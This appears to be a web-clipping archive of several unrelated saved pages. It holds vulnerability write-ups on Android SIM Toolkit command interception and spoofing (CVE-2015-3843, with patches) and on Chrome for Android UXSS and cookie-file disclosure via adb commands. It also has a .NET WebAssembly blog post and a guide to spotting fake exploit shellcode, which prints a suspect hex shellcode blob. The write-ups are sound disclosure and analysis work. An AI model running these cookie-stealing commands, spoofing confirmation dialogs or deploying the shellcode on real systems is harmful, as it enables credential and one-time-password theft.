﻿http://achaykin.blogspot.com/2015/08/spoofing-and-intercepting-sim-commands.html 
600 Busy Everywhere
Created:
9/10/2015 1:50:43 PM
Updated:
9/10/2015 1:50:43 PM
Author:

Tags:
attacks Malware-analysis android


Spoofing and intercepting SIM commands through STK framework (Android 5.1 and below) (CVE-2015-3843)
I found this vulnerability while researching the possibility to intercept one-time password, which sent from bank to carrier to custom application on SIM card and next to Android UI.

Intercepting

So imagine you have a tiny app on your SIM card, which main goal is to receive a custom message from carrier and show it to you through the Android UI. If you dig deep into Android sources, you will find com.android.internal.telephony.cat.CatService class which is responsible for receiving commands from Radio Interface Layer (RIL) to OS and vice versa.

public void handleMessage(Message msg) {
        CatLog.d(this, "handleMessage[" + msg.what + "]");
        switch (msg.what) {
        case MSG_ID_SESSION_END:
        case MSG_ID_PROACTIVE_COMMAND:
        case MSG_ID_EVENT_NOTIFY:
        case MSG_ID_REFRESH:
            CatLog.d(this, "ril message arrived,slotid:" + mSlotId);
            String data = null;
            if (msg.obj != null) {
                AsyncResult ar = (AsyncResult) msg.obj;
                if (ar != null && ar.result != null) {
                    try {
                        data = (String) ar.result;
                    } catch (ClassCastException e) {
                        break;
                    }
                }
            }
            mMsgDecoder.sendStartDecodingMessageParams(new RilMessage(msg.what, data));
            break;
        case MSG_ID_CALL_SETUP:
            mMsgDecoder.sendStartDecodingMessageParams(new RilMessage(msg.what, null));
            break;
        case MSG_ID_ICC_RECORDS_LOADED:
            break;
        case MSG_ID_RIL_MSG_DECODED:
            handleRilMsg((RilMessage) msg.obj);
            break;
        case MSG_ID_RESPONSE:
            handleCmdResponse((CatResponseMessage) msg.obj);
            break;

From all of the message types, we are interested in MSG_ID_RIL_MSG_DECODED
    private void handleRilMsg(RilMessage rilMsg) {
        if (rilMsg == null) {
            return;
        }
        // dispatch messages
        CommandParams cmdParams = null;
        switch (rilMsg.mId) {
        case MSG_ID_EVENT_NOTIFY:
            if (rilMsg.mResCode == ResultCode.OK) {
                cmdParams = (CommandParams) rilMsg.mData;
                if (cmdParams != null) {
                    handleCommand(cmdParams, false);
                }
            }
            break;
        case MSG_ID_PROACTIVE_COMMAND:
            try {
                cmdParams = (CommandParams) rilMsg.mData;
            } catch (ClassCastException e) {
                // for error handling : cast exception
                CatLog.d(this, "Fail to parse proactive command");
                // Don't send Terminal Resp if command detail is not available
                if (mCurrntCmd != null) {
                    sendTerminalResponse(mCurrntCmd.mCmdDet, ResultCode.CMD_DATA_NOT_UNDERSTOOD,
                                     false, 0x00, null);
                }
                break;
            }
            if (cmdParams != null) {
                if (rilMsg.mResCode == ResultCode.OK) {
                    handleCommand(cmdParams, true);
                } else {
                    // for proactive commands that couldn't be decoded
                    // successfully respond with the code generated by the
                    // message decoder.
                    sendTerminalResponse(cmdParams.mCmdDet, rilMsg.mResCode,
                            false, 0, null);
                }
            }
            break;
Both switches lead to call of handleCommand() method with the difference of the second parameter

· MSG_ID_EVENT_NOTIFY - just a notification message and doesn't expect any response from the user

· MSG_ID_PROACTIVE_COMMAND - on the other side, requires respond


Next to handleCommand:
    /**
     * Handles RIL_UNSOL_STK_EVENT_NOTIFY or RIL_UNSOL_STK_PROACTIVE_COMMAND command
     * from RIL.
     * Sends valid proactive command data to the application using intents.
     * RIL_REQUEST_STK_SEND_TERMINAL_RESPONSE will be send back if the command is
     * from RIL_UNSOL_STK_PROACTIVE_COMMAND.
     */
    private void handleCommand(CommandParams cmdParams, boolean isProactiveCmd) {
        CatLog.d(this, cmdParams.getCommandType().name());
        CharSequence message;
        CatCmdMessage cmdMsg = new CatCmdMessage(cmdParams);
        switch (cmdParams.getCommandType()) {
            case SET_UP_MENU:
                if (removeMenu(cmdMsg.getMenu())) {
                    mMenuCmd = null;
                } else {
                    mMenuCmd = cmdMsg;
                }
                sendTerminalResponse(cmdParams.mCmdDet, ResultCode.OK, false, 0, null);
                break;
            case DISPLAY_TEXT:
                break;
            case REFRESH:
                // ME side only handles refresh commands which meant to remove IDLE
                // MODE TEXT.
                cmdParams.mCmdDet.typeOfCommand = CommandType.SET_UP_IDLE_MODE_TEXT.value();
                break;
            case SET_UP_IDLE_MODE_TEXT:
                sendTerminalResponse(cmdParams.mCmdDet, ResultCode.OK, false, 0, null);
                break;
            case SET_UP_EVENT_LIST:
                if (isSupportedSetupEventCommand(cmdMsg)) {
                    sendTerminalResponse(cmdParams.mCmdDet, ResultCode.OK, false, 0, null);
                } else {
                    sendTerminalResponse(cmdParams.mCmdDet, ResultCode.BEYOND_TERMINAL_CAPABILITY,
                            false, 0, null);
                }
                break;
            case PROVIDE_LOCAL_INFORMATION:
                ResponseData resp;
                switch (cmdParams.mCmdDet.commandQualifier) {
                    case CommandParamsFactory.DTTZ_SETTING:
                        resp = new DTTZResponseData(null);
                        sendTerminalResponse(cmdParams.mCmdDet, ResultCode.OK, false, 0, resp);
                        break;
                    case CommandParamsFactory.LANGUAGE_SETTING:
                        resp = new LanguageResponseData(Locale.getDefault().getLanguage());
                        sendTerminalResponse(cmdParams.mCmdDet, ResultCode.OK, false, 0, resp);
                        break;
                    default:
                        sendTerminalResponse(cmdParams.mCmdDet, ResultCode.OK, false, 0, null);
                }
                // No need to start STK app here.
                return;
            case LAUNCH_BROWSER:
                if ((((LaunchBrowserParams) cmdParams).mConfirmMsg.text != null)
                        && (((LaunchBrowserParams) cmdParams).mConfirmMsg.text.equals(STK_DEFAULT))) {
                    message = mContext.getText(com.android.internal.R.string.launchBrowserDefault);
                    ((LaunchBrowserParams) cmdParams).mConfirmMsg.text = message.toString();
                }
                break;
            case SELECT_ITEM:
            case GET_INPUT:
            case GET_INKEY:
                break;
            case SEND_DTMF:
            case SEND_SMS:
            case SEND_SS:
            case SEND_USSD:
                if ((((DisplayTextParams)cmdParams).mTextMsg.text != null)
                        && (((DisplayTextParams)cmdParams).mTextMsg.text.equals(STK_DEFAULT))) {
                    message = mContext.getText(com.android.internal.R.string.sending);
                    ((DisplayTextParams)cmdParams).mTextMsg.text = message.toString();
                }
                break;
            case PLAY_TONE:
                break;
            case SET_UP_CALL:
                if ((((CallSetupParams) cmdParams).mConfirmMsg.text != null)
                        && (((CallSetupParams) cmdParams).mConfirmMsg.text.equals(STK_DEFAULT))) {
                    message = mContext.getText(com.android.internal.R.string.SetupCallDefault);
                    ((CallSetupParams) cmdParams).mConfirmMsg.text = message.toString();
                }
                break;
            case OPEN_CHANNEL:
            case CLOSE_CHANNEL:
            case RECEIVE_DATA:
            case SEND_DATA:
                BIPClientParams cmd = (BIPClientParams) cmdParams;
                /* Per 3GPP specification 102.223,
                 * if the alpha identifier is not provided by the UICC,
                 * the terminal MAY give information to the user
                 * noAlphaUsrCnf defines if you need to show user confirmation or not
                 */
                boolean noAlphaUsrCnf = false;
                try {
                    noAlphaUsrCnf = mContext.getResources().getBoolean(
                            com.android.internal.R.bool.config_stkNoAlphaUsrCnf);
                } catch (NotFoundException e) {
                    noAlphaUsrCnf = false;
                }
                if ((cmd.mTextMsg.text == null) && (cmd.mHasAlphaId || noAlphaUsrCnf)) {
                    CatLog.d(this, "cmd " + cmdParams.getCommandType() + " with null alpha id");
                    // If alpha length is zero, we just respond with OK.
                    if (isProactiveCmd) {
                        sendTerminalResponse(cmdParams.mCmdDet, ResultCode.OK, false, 0, null);
                    } else if (cmdParams.getCommandType() == CommandType.OPEN_CHANNEL) {
                        mCmdIf.handleCallSetupRequestFromSim(true, null);
                    }
                    return;
                }
                // Respond with permanent failure to avoid retry if STK app is not present.
                if (!mStkAppInstalled) {
                    CatLog.d(this, "No STK application found.");
                    if (isProactiveCmd) {
                        sendTerminalResponse(cmdParams.mCmdDet,
                                             ResultCode.BEYOND_TERMINAL_CAPABILITY,
                                             false, 0, null);
                        return;
                    }
                }
                /*
                 * CLOSE_CHANNEL, RECEIVE_DATA and SEND_DATA can be delivered by
                 * either PROACTIVE_COMMAND or EVENT_NOTIFY.
                 * If PROACTIVE_COMMAND is used for those commands, send terminal
                 * response here.
                 */
                if (isProactiveCmd &&
                    ((cmdParams.getCommandType() == CommandType.CLOSE_CHANNEL) ||
                     (cmdParams.getCommandType() == CommandType.RECEIVE_DATA) ||
                     (cmdParams.getCommandType() == CommandType.SEND_DATA))) {
                    sendTerminalResponse(cmdParams.mCmdDet, ResultCode.OK, false, 0, null);
                }
                break;
            default:
                CatLog.d(this, "Unsupported command");
                return;
        }
        mCurrntCmd = cmdMsg;
        broadcastCatCmdIntent(cmdMsg);
}

And finally to broadcastCatCmdIntent()


    private void broadcastCatCmdIntent(CatCmdMessage cmdMsg) {
        Intent intent = new Intent(AppInterface.CAT_CMD_ACTION);
        intent.putExtra("STK CMD", cmdMsg);
        intent.putExtra("SLOT_ID", mSlotId);
        CatLog.d(this, "Sending CmdMsg: " + cmdMsg+ " on slotid:" + mSlotId);
        mContext.sendBroadcast(intent);
    }

So here is an interesting part :) 

· AppInterface.CAT_CMD_ACTION equals to "android.intent.action.stk.command"
· "SLOT_ID" is used for multi-sim devices
· "STK CMD" - command as parcelable object 



The problem is CatService uses implicit intent to send the command to another application and it's not protected by any permission


What an attacker can do with it?


Intercept commands which has been sent from SIM card to Telephony using zero-permission malicious application on the system. You just need to register your own receiver with action "android.intent.action.stk.command" and get "STK CMD" extra from the intent.


Example of intercepted command:

22:08:37: Receive action: android.intent.action.stk.command
22:08:37: STK CMD 3100000063006F006D002E0061006E00640072006F00690064002E0069006E007400650072006E0061006C002E00740065006C006500700068006F006E0079002E006300610074002E0043006F006D006D0061006E006400440065007400610069006C0073000000010000000100000021000000810000002E00000063006F006D002E0061006E00640072006F00690064002E0069006E007400650072006E0061006C002E00740065006C006500700068006F006E0079002E006300610074002E0054006500780074004D006500730073006100670065000000000000000000000000000F0000003300350035003700360032003000350032003200370038003900310030000000FFFFFFFF00000000010000000100000001000000FFFFFFFFFFFFFFFFFFFFFFFF00000000 (com.android.internal.telephony.cat.CatCmdMessage)

It is Parcelable object in bytes. Just hex2ascii it and you will see a text message from SIM.


Spoofing

But it's just a half of vulnerability. Lets take a look on the application which originally receives this broadcasts.


How message is displayed


It's called SIM Toolkit, or STK, which is a part of default Android framework. You can find sources here.


<manifest xmlns:android="http://schemas.android.com/apk/res/android"
        xmlns:androidprv="http://schemas.android.com/apk/prv/res/android"
        package="com.android.stk"
        android:sharedUserId="android.uid.phone">
    <original-package android:name="com.android.stk" />
    <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />
    <uses-permission android:name="android.permission.GET_TASKS"/>
    <application android:icon="@drawable/ic_launcher_sim_toolkit"
        android:label="@string/app_name"
        android:clearTaskOnLaunch="true"
        android:process="com.android.phone"
        android:taskAffinity="android.task.stk">
...
<receiver android:name="com.android.stk.StkCmdReceiver">
            <intent-filter>
                <action android:name= "android.intent.action.stk.command" />
                <action android:name= "android.intent.action.stk.session_end" />
                <action android:name= "android.intent.action.stk.icc_status_change" />
                <action android:name= "android.intent.action.stk.alpha_notify" />
                <action android:name= "android.intent.action.LOCALE_CHANGED" />
            </intent-filter>
        </receiver>




Part of the AndroidManifest.xml file related to broadcast receiver. As you can see it's all exported. Not only you can intercept SIM commands, but also generate Parcelable object using malicious app and send it to com.android.stk.StkCmdReceiver. Receiver don't validate the sender of broadcast and "android.intent.action.stk.command" action isn't declared as protected broadcast in system AndroidManifest.xml, so we can emulate SIM card command sending. For example:


1.  SIM card asks you to approve some operation, like transaction in the internet bank, with text "Approve transaction #1234 with ammount $100500" and two options - "Ok" and "Cancel". Here is code from StkDialogActivity.java:

2.     public void onClick(View v) {
        String input = null;
        switch (v.getId()) {
        case OK_BUTTON:
            CatLog.d(LOG_TAG, "OK Clicked!, mSlotId: " + mSlotId);
            cancelTimeOut();
            sendResponse(StkAppService.RES_ID_CONFIRM, true);
            break;
        case CANCEL_BUTTON:
            CatLog.d(LOG_TAG, "Cancel Clicked!, mSlotId: " + mSlotId);
            cancelTimeOut();
            sendResponse(StkAppService.RES_ID_CONFIRM, false);
            break;
        }
        finish();
    }


3. If user clicks "Ok" - sendResponse(StkAppService.RES_ID_CONFIRM, true); will be called, otherwise - sendResponse(StkAppService.RES_ID_CONFIRM, false);

4.  What if we will generate the same dialog (call it "fake") using "android.intent.action.stk.command" action with different text, in a few seconds before SIM card generates original dialog with "Approve transaction #1234 with ammount $100500"? Something like "Press Ok to close" - with two options - Ok and Cancel.

5.  User will not see original dialog with "confirmation of transaction" until he presses Ok or Cancel in the first "fake" dialog, because all of the commands which required user intercation are placed in a queue. 

6.  So the state is:



·  SIM card is waiting for user response

·  Android is showing the first "fake" dialog to the user


 Now, if user clicks Ok in "fake" dialog the sendResponse() method with flag "true" will be called and SIM card will receive "Ok" command, like it was clicked on original dialog. Even if user will click Cancel on the second "original" dialog, it will not affect the previous command. For SIM card it would be like a new response, which it isn't waiting. Interesting moment I found in sources:


    private void handleCmdResponse(CatResponseMessage resMsg) {
        // Make sure the response details match the last valid command. An invalid
        // response is a one that doesn't have a corresponding proactive command
        // and sending it can "confuse" the baseband/ril.
        // One reason for out of order responses can be UI glitches. For example,
        // if the application launch an activity, and that activity is stored
        // by the framework inside the history stack. That activity will be
        // available for relaunch using the latest application dialog
        // (long press on the home button). Relaunching that activity can send
        // the same command's result again to the CatService and can cause it to
        // get out of sync with the SIM. This can happen in case of
        // non-interactive type Setup Event List and SETUP_MENU proactive commands.
        // Stk framework would have already sent Terminal Response to Setup Event
        // List and SETUP_MENU proactive commands. After sometime Stk app will send
        // Envelope Command/Event Download. In which case, the response details doesn't
        // match with last valid command (which are not related).
        // However, we should allow Stk framework to send the message to ICC.




It's said that "An invalid response is a one that doesn't have a corresponding proactive command and sending it can "confuse" the baseband/ril". Actually if you send "responses" to RIL/SIM when it doesn't expect to receive, this could lead to unpredictable consequences. During my research few SIM cards was broken to be unable to load SIM menu.

Epilogue

AOSP team fix this bug in Nexus Build: 5.1.1 (LMY48I).
Here is some patches I provided:


For /platform/frameworks/opt/telephony/+/master/:

--- a/src/java/com/android/internal/telephony/cat/CatService.java
+++ b/src/java/com/android/internal/telephony/cat/CatService.java
@@ -501,7 +501,7 @@
         intent.putExtra("STK CMD", cmdMsg);
         intent.putExtra("SLOT_ID", mSlotId);
         CatLog.d(this, "Sending CmdMsg: " + cmdMsg+ " on slotid:" + mSlotId);
-        mContext.sendBroadcast(intent);
+        mContext.sendBroadcast(intent,"android.permission.RECEIVE_STK_COMMANDS");
     }
 
     /**
@@ -514,7 +514,7 @@
         mCurrntCmd = mMenuCmd;
         Intent intent = new Intent(AppInterface.CAT_SESSION_END_ACTION);
         intent.putExtra("SLOT_ID", mSlotId);
-        mContext.sendBroadcast(intent);
+        mContext.sendBroadcast(intent,"android.permission.RECEIVE_STK_COMMANDS");
     }
 
 
@@ -868,7 +868,7 @@
         intent.putExtra(AppInterface.CARD_STATUS, cardPresent);
         CatLog.d(this, "Sending Card Status: "
                 + cardState + " " + "cardPresent: " + cardPresent);
-        mContext.sendBroadcast(intent);
+        mContext.sendBroadcast(intent,"android.permission.RECEIVE_STK_COMMANDS");
     }
 
     private void broadcastAlphaMessage(String alphaString) {
@@ -877,7 +877,7 @@
         intent.addFlags(Intent.FLAG_RECEIVER_FOREGROUND);
         intent.putExtra(AppInterface.ALPHA_STRING, alphaString);
         intent.putExtra("SLOT_ID", mSlotId);
-        mContext.sendBroadcast(intent);
+        mContext.sendBroadcast(intent,"android.permission.RECEIVE_STK_COMMANDS");
     }
 
     @Override


For /platform/frameworks/base/ :

--- a/core/res/AndroidManifest.xml
+++ b/core/res/AndroidManifest.xml
@@ -303,6 +303,11 @@
     <protected-broadcast android:name="android.intent.action.ACTION_SET_RADIO_CAPABILITY_DONE" />
     <protected-broadcast android:name="android.intent.action.ACTION_SET_RADIO_CAPABILITY_FAILED" />
 
+    <protected-broadcast android:name="android.intent.action.stk.command" />
+    <protected-broadcast android:name="android.intent.action.stk.session_end" />
+    <protected-broadcast android:name="android.intent.action.stk.icc_status_change" />
+    <protected-broadcast android:name="android.intent.action.stk.alpha_notify" />
+
     <!-- ====================================== -->
     <!-- Permissions for things that cost money -->
     <!-- ====================================== -->
@@ -2923,6 +2928,9 @@
         android:description="@string/permdesc_bindCarrierMessagingService"
         android:protectionLevel="signature|system" />
 
+    <permission android:name="android.permission.RECEIVE_STK_COMMANDS"
+        android:protectionLevel="signature|system" />
+
     <!-- The system process is explicitly the only one allowed to launch the
          confirmation UI for full backup/restore -->
     <uses-permission android:name="android.permission.CONFIRM_FULL_BACKUP"/>


For /platform/packages/apps/Stk/ :

--- a/AndroidManifest.xml
+++ b/AndroidManifest.xml
@@ -24,6 +24,7 @@
 
     <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />
     <uses-permission android:name="android.permission.GET_TASKS"/>
+    <uses-permission android:name="android.permission.RECEIVE_STK_COMMANDS"/>
 
     <application android:icon="@drawable/ic_launcher_sim_toolkit"
         android:label="@string/app_name"


Posted 2 weeks ago by Artem Chaykin	
 	 
5 View comments 

Abdulkaleeq pkAugust 27, 2015 at 12:33 PM
Possible..

You are pretty intelligent...man....!!!!
Reply

Ankith MankunnuAugust 27, 2015 at 6:44 PM
This is nice -_-
Reply

AnonymousAugust 28, 2015 at 12:51 AM
and what it does ?

Reply

Robert KingAugust 28, 2015 at 5:13 PM
Nice 
Reply

KB PindigaAugust 28, 2015 at 9:12 PM
That's an interesting research. The Android team should check more of such 'deadly bugs' in the framework.

You have contributed to knowledge.
Reply


Comment as: 
Google Chrome for Android: UXSS and Credential disclosure


Here we go.

In July 2011, Roee Hay and Yair Amit from IBM Research Group found UXSS vulnerability in the default Android browser . This bug allows malicious application insert JavaScript code in the context of arbitrary domain and stole Cookies or do some evil things. So this bug has been fixed in the Android 2.3.5.

On June 21, 2012, Google Chrome for Android has been released, and here I found some interesting bugs, look inside





UXSS
As expected, main Chrome activity isn't affected with this bug, but lets look at AndroidManifest.xml file from Chrome .apk.












You can see that com.google.android.apps.chrome.SimpleChromeActivity class is able to be called from the another application, since it has <intent-filter> directive declared.



Decompile classes.dex from apk and look into the SimpleChromeActivity class






onCreate method provided above, where we can see that the new url will be loaded in the current tab and new tab will not be opened.



Here is couple ways to start this activity: through Android API or Activity Manager. Calls from Android API is a bit complicated, so I used "am" command from adb shell.



shell@android:/ $ am start -n com.android.chrome/com.google.android.apps.chrome.SimpleChromeActivity -d 'http://www.google.ru'








I think here is some non-security bug with content displaying. As we can see at title, Chrome loaded www.google.ru in SimpleChromeActivity instead of Main, and this activity has access to the Chrome's Cookies database. Next step is injecting JavaScript code.



shell@android:/ $ am start -n com.android.chrome/com.google.android.apps.chrome.SimpleChromeActivity -d 'javascript:alert(document.cookie)' 






Wuala, JavaScript has been executed in the context of www.google.ru domain.





Credential disclosure
Another problem was related to the headache of all Chrome-like browsers - automatic file downloading. If you open some "binary" file in the Chrome browser - it will be downloaded without your acceptance, to the SDCard directory. Same thing with default browser where this "feature" has been used by NonCompatible malware. So what about credential disclosure you ask? Look at the Chrome's directory on the system










This files (such as Cookies, History, etc) can be read only by Chrome app, looks secure. Try to launch Chrome using the file:// wrapper and open Cookies file.



shell@android:/ $ am start -n com.android.chrome/com.android.chrome.Main -d 'file:///data/data/com.android.chrome/app_chrome/Default/Cookies'






After browser start, Cookies will be downloaded/copied to /sdcard/Downloads/Cookies.bin and can be read by any application on the system





I provided detailed information to the Chromium security team and this bugs have been fixed in the version 18.0.1025308.



Links:

http://code.google.com/p/chromium/issues/detail?id=138035
http://code.google.com/p/chromium/issues/detail?id=138210


﻿https://www.hanselman.com/blog/NETAndWebAssemblyIsThisTheFutureOfTheFrontend.aspx 
.NET and WebAssembly - Is this the future of the front-end? - Scott Hanselman
Created:
9/4/2017 9:18:40 AM
Updated:
9/4/2017 9:18:40 AM
Author:
wishi
Tags:





.NET and WebAssembly - Is this the future of the front-end?
August 12, '17 Kommentare [52] Posted in DotNetCore | Javascript | Open Source
6 years ago Erik Meijer and I were talking about how JavaScript is/was an assembly language. It turned into an interesting discussion/argument (some people really didn't buy it) but it still kept happening. Currently WebAssembly world is marching forward and is supported in Chrome, Firefox, and in Development in Edge, Opera, and Safari.
"The avalanche has begun, it's too late for the pebbles to vote." - Ambassador Kosh
Today in 2017, WebAssembly is absolutely a thing and you can learn about it at http://webassembly.org. I even did a podcast on WebAssembly with Mozilla Fellow David Bryant (you really should check out my podcast, I'm very proud of it. It's good.) 

The image above is from Steve Sanderson's NDC presentation. He's writing the classic client-side JavaScript ToDo application...except he's writing the code in C#.
WHAT IS WEBASSEMBLY?
"WebAssembly or wasm is a low-level bytecode format for in-browser client-side scripting, evolved from JavaScript." You can easily compile to WebAssembly from C and C++ today...and more languages are jumping in to include WebAssembly as a target every day.
Since I work in open source .NET and since .NET Core 2.0 is cross-platform with an imminent release, it's worth exploring where WebAssembly fits into a .NET world. 
Here's some projects I have identified that help bridge the .NET world and the WebAssembly world. I think that this is going to be THE hot space in the next 18 months.
WEBASSEMBLY FOR .NET
Despite its overarching name, this OSS project is meant to consume WASM binary files and execute them from within .NET assemblies. To be clear, this isn't compiling .NET languages' (C#, VB.NET, F#) into WebAssembly, this is for using WebAssembly as if it's any other piece of resuable compiled code. Got an existing WASM file you REALLY want to call from .NET? This is for that. 
Interestingly, this project doesn't spin up a V8 or Chakra JavaScript engine to run WASM, instead it reads in the bytecode and converts them to .NET via System.Reflection.Emit. Interesting stuff!
MONO AND WEBASSEMBLY
One of the great things happening in the larger .NET Ecosystem is that there is more than one ".NET" today. In the past, .NET was a thing that you installed on Windows and generally feared. Today, there's .NET 4.x+ on basically every Windows machine out there, there's .NET Core that runs in Docker, on Mac, Windows, and a dozen Linuxes...even Raspberry Pi, and Mono is another instance of .NET that allows you to run code in dozens of other platforms. There's multiple "instances of .NET" out there in active development.
The Mono Project has two prototypes using Mono and WebAssembly.
The first one uses the traditional full static compilation mode of Mono, this compiled both the Mono C runtime and the Mono class libraries along with the user code into WebAssembly code. It produces one large statically compiled application. You can try this fully statically compiled Hello World here. The full static compilation currently lives here.
So that's a totally statically compiled Hello World...it's all of Mono and your app into Web Assembly. They have another prototype with a difference perspective:
The second prototype compiles the Mono C runtime into web assembly, and then uses Mono’s IL interpreter to run managed code. This one is a smaller download, but comes at the expense of performance. The mixed mode execution prototype currently lives here.
Here they've got much of Mono running in Web Assembly, but your IL code is interpreted. One of the wonderful things about Computer Science - There is more than one way to do something, and they are often each awesome in their own way!
"BLAZOR" - EXPERIMENTAL UI FRAMEWORK RUNNING .NET IN THE BROWSER
With a similar idea as the Mono Project's second prototype, Steve Sanderson took yet another "instance of .NET," the six year old open source DotNetAnywhere (DNA) project and compiled it into Web Assembly. DNA was an interpreted .NET runtime written in portable C. It takes standard IL or CIL (Common Intermediate Language) and runs it "on resource-constrained devices where it is not possible to run a full .NET runtime (e.g. Mono)." Clever, huh? What "resource-constrained device do we have here six years later?" Why, it's the little virtual machine that could - the JavaScript VM that your browser already has, now powered by a standard bytecode format called WebAssembly.
To prove the concept, Steve compiles DotNetAnywhere to WASM but then takes it further. He's combined standard programming models that we see on the web with things like Angular, Knockoutjs, or Ember, except rather than writing your web applications' UI in JavaScript, you write in C# - a .NET language.
Here in the middle of some Razor (basically HTML with C# inline) pages, he does what looks like a call to a backend. This is C# code, but it'll run as WASM on the client side within a Blazor app. 
@functions {
    WeatherForecast[] forecasts;
 
    override protected async Task InitAsync()
    {
        using (var client = new HttpClient())
        {
            var json = await client.GetStringAsync(AbsoluteUrl("/api/SampleData/WeatherForecasts"));
            forecasts = JsonUtil.Deserialize<WeatherForecast[]>(json);
        }
    }
}
This would allow a .NET programmer to use the same data models on the client and the server - much like well-factored JavaScript should today - as well as using other .NET libraries they might be familiar or comfortable with.
Why do this insane thing? "To see how well such a framework might work, and how much anyone would care." How far could/should this go? David Fowler already has debugging working (again this is ALL prototypes) in Visual Studio Code. Don't take my word for it, watch the video as Steve presents the concept at the NDC Conference.
Blazor as a prototype has a number of people excited, and there was a Blazor Hackthon recently that produced some interesting samples including a full-blown app.
OTHER POSSIBILITIES?
There's lots of other projects that are compiling or transpiling things to JavaScript. Could they be modified to support WebAssembly? You can take F# and compile it to JavaScript with F#'s Fable project, and some folks have asked about WebAssembly.
At this point it's clear that everyone is prototyping and hacking and enjoying themselves.
What do YOU think about WebAssembly?

Sponsor: Check out JetBrains Rider: a new cross-platform .NET IDE. Edit, refactor, test and debug ASP.NET, .NET Framework, .NET Core, Xamarin or Unity applications. Learn more and download a 30-day trial!
« A proper terminal for Visual Studio | Blog Home | Exploring refit, an automatic type-safe ... »
ABOUT SCOTT
Scott Hanselman is a former professor, former Chief Architect in finance, now speaker, consultant, father, diabetic, and Microsoft employee. He is a failed stand-up comic, a cornrower, and a book author.
 
About   Newsletter
Kommentare [52] 
Share on: Twitter, Facebook, Google+ or use the Permalink
﻿https://har2009.org/program/attachments/119_GSM.A51.Cracking.Nohl.pdf 
119_GSM.A51.Cracking.Nohl.pdf (application/pdf-Objekt)
Created:
8/3/2010 8:02:47 AM
Updated:
8/3/2010 8:02:47 AM
Author:
wishi
Tags:
bookmark research USRP


﻿http://4.asset.soup.io/asset/2390/5076_98b6.png 
5076_98b6.png (PNG Image, 700x299 pixels)
Created:
9/23/2011 11:45:58 AM
Updated:
9/23/2011 11:45:58 AM
Author:

Tags:
LOLZ



﻿https://blogs.sans.org/appsecstreetfighter/files/2017/03/A-Hybrid-Approach-to-Threat-Modelling.pdf 
A Hybrid Approach to Threat Modelling
Created:
5/16/2017 2:58:40 PM
Updated:
5/16/2017 2:59:00 PM
Author:

Tags:
Threat-modeling risk-management




﻿http://0entropy.blogspot.gr/2013/07/identifying-fake-shellcode-quick-guide.html 
0entropy: Identifying fake shellcode - quick guide
Created:
7/30/2013 8:07:20 AM
Updated:
7/30/2013 8:07:20 AM
Author:

Tags:
shellcode reversing


Identifying fake shellcode - quick guide 
Identifying the fakes

Yesterday I notice one exploit for Microsoft Remote Desktop, with the name "Microsoft Remote Desktop User/Password Reader Exploit" (http://cxsecurity.com/issue/WLB-2013070218).

Even looking at the title this should bring a warning but as I was in a hurry I made a tweet about it adding a warning that this was not tested for validity. 

It's always good before testing the exploits even if this is going to be done in a VM or generally easy restored environment to have a look at the code and even if one is not a experienced coder or exploit developer, can easily spot alarming things.

Let's have a look on the exploit mentioned.

Note 1:
The title of the exploit doesn't seem to make sense as MS12-020 is not related to any "User/Password Reader" MS12-020 is based on a use-after-free vulnerability located in the handling of the maxChannelIds field of the T.125 ConnectMCSPDU packed when set to a value equal or less than 5.
(http://www.exploit-db.com/exploits/18606/ )

Note 2:  
Looking at the code, there are 2 parts where a shellcode can be identified. 

Section 1

xscholler = "\x58\x6c\x64\x47\x6a\x74\x30\x5a\x67\x43\x67\x79\x6f\x39\x46\xf1"
xscholler += "\x66\x70\x66\x61\x43\x52\x46\x71\x78\x30\x33\x55\x62\x63\x58\x63"
xscholler += "\x47\x34\x33\x65\x62\x41\x4f\x30\x54\x39\x6f\x4a\x70\x52\x48\x5a"
xscholler += "\x6b\x38\x6d\x6b\x4c\x75\x6b\x30\x50\x6b\x4f\x6e\x36\x53\x6f\x6f"
xscholler += "\x79\x4a\x45\x32\x46\x6f\x71\x6a\x4d\x34\x48\x77\x72\x73\x65\x73"
xscholler += "\x5a\x37\x72\x69\x6f\x58\x50\x52\x48\x4e\x39\x76\x69\x4a\x55\x4c"
xscholler += "\x6d\x32\x77\x69\x6f\x59\x46\x50\x53\x43\x63\x41\x43\x70\x53\x70"
xscholler += "\x53\x43\x73\x50\x53\x62\x63\x70\x53\x79\x6f\x6a\x70\x35\x36\x61"
xscholler += "\x78\x71\x32\x78\x38\x71\x76\x30\x53\x4b\x39\x69\x71\x4d\x45\x33"
xscholler += "\x58\x6c\x64\x47\x6a\x74\x30\x5a\x67\x43\x67\x79\x6f\x39\x46\x32"
xscholler += "\x4a\x56\x70\x66\x31\x76\x35\x59\x6f\x58\x50\x32\x48\x4d\x74\x4e"
xscholler += "\x4d\x66\x4e\x7a\x49\x50\x57\x6b\x4f\x6e\x36\x46\x33\x56\x35\x39"
xscholler += "\x73\x55\x38\x4d\x37\x71\x69\x69\x56\x71\x69\x61\x47\x6b\x4f\x6e"
xscholler += "\x36\x36\x35\x79\x6f\x6a\x70\x55\x36\x31\x7a\x71\x74\x32\x46\x51"
xscholler += "\x78\x52\x43\x70\x6d\x4f\x79\x4d\x35\x72\x4a\x66\x30\x42\x79\x64"
xscholler += "\x69\x7a\x6c\x4b\x39\x48\x67\x62\x4a\x57\x34\x4f\x79\x6d\x32\x37"
xscholler += "\x41" * 39
xscholler += "\x42\x44\x6c\x4c\x53\x6e\x6d\x31\x6a\x64\x78\x4c\x6b\x4e\x4b\x4e"
xscholler += "\x4b\x43\x58\x70\x72\x69\x6e\x6d\x63\x37\x66\x79\x6f\x63\x45\x73"
xscholler += "\x74\x4b\x4f\x7a\x76\x63\x6b\x31\x47\x72\x72\x41\x41\x50\x51\x61"
xscholler += "\x41\x70\x6a\x63\x31\x41\x41\x46\x31\x71\x45\x51\x41\x4b\x4f\x78"
xscholler += "\x50\x52\x48\x4c\x6d\x79\x49\x54\x45\x38\x4e\x53\x63\x6b\x4f\x6e"
xscholler += "\x36\x30\x6a\x49\x6f\x6b\x4f\x70\x37\x4b\x4f\x4e\x30\x4e\x6b\x30"
xscholler += "\x57\x69\x6c\x6b\x33\x4b\x74\x62\x44\x79\x6f\x6b\x66\x66\x32\x6b"
xscholler += "\x4f\x4e\x30\x53\x58\x58\x70\x4e\x6a\x55\x54\x41\x4f\x52\x73\x4b"
xscholler += "\x4b\x43\x58\x70\x72\x69\x6e\x6d\x63\x37\x66\x00"

Section 2

#bindshell PORT 8888
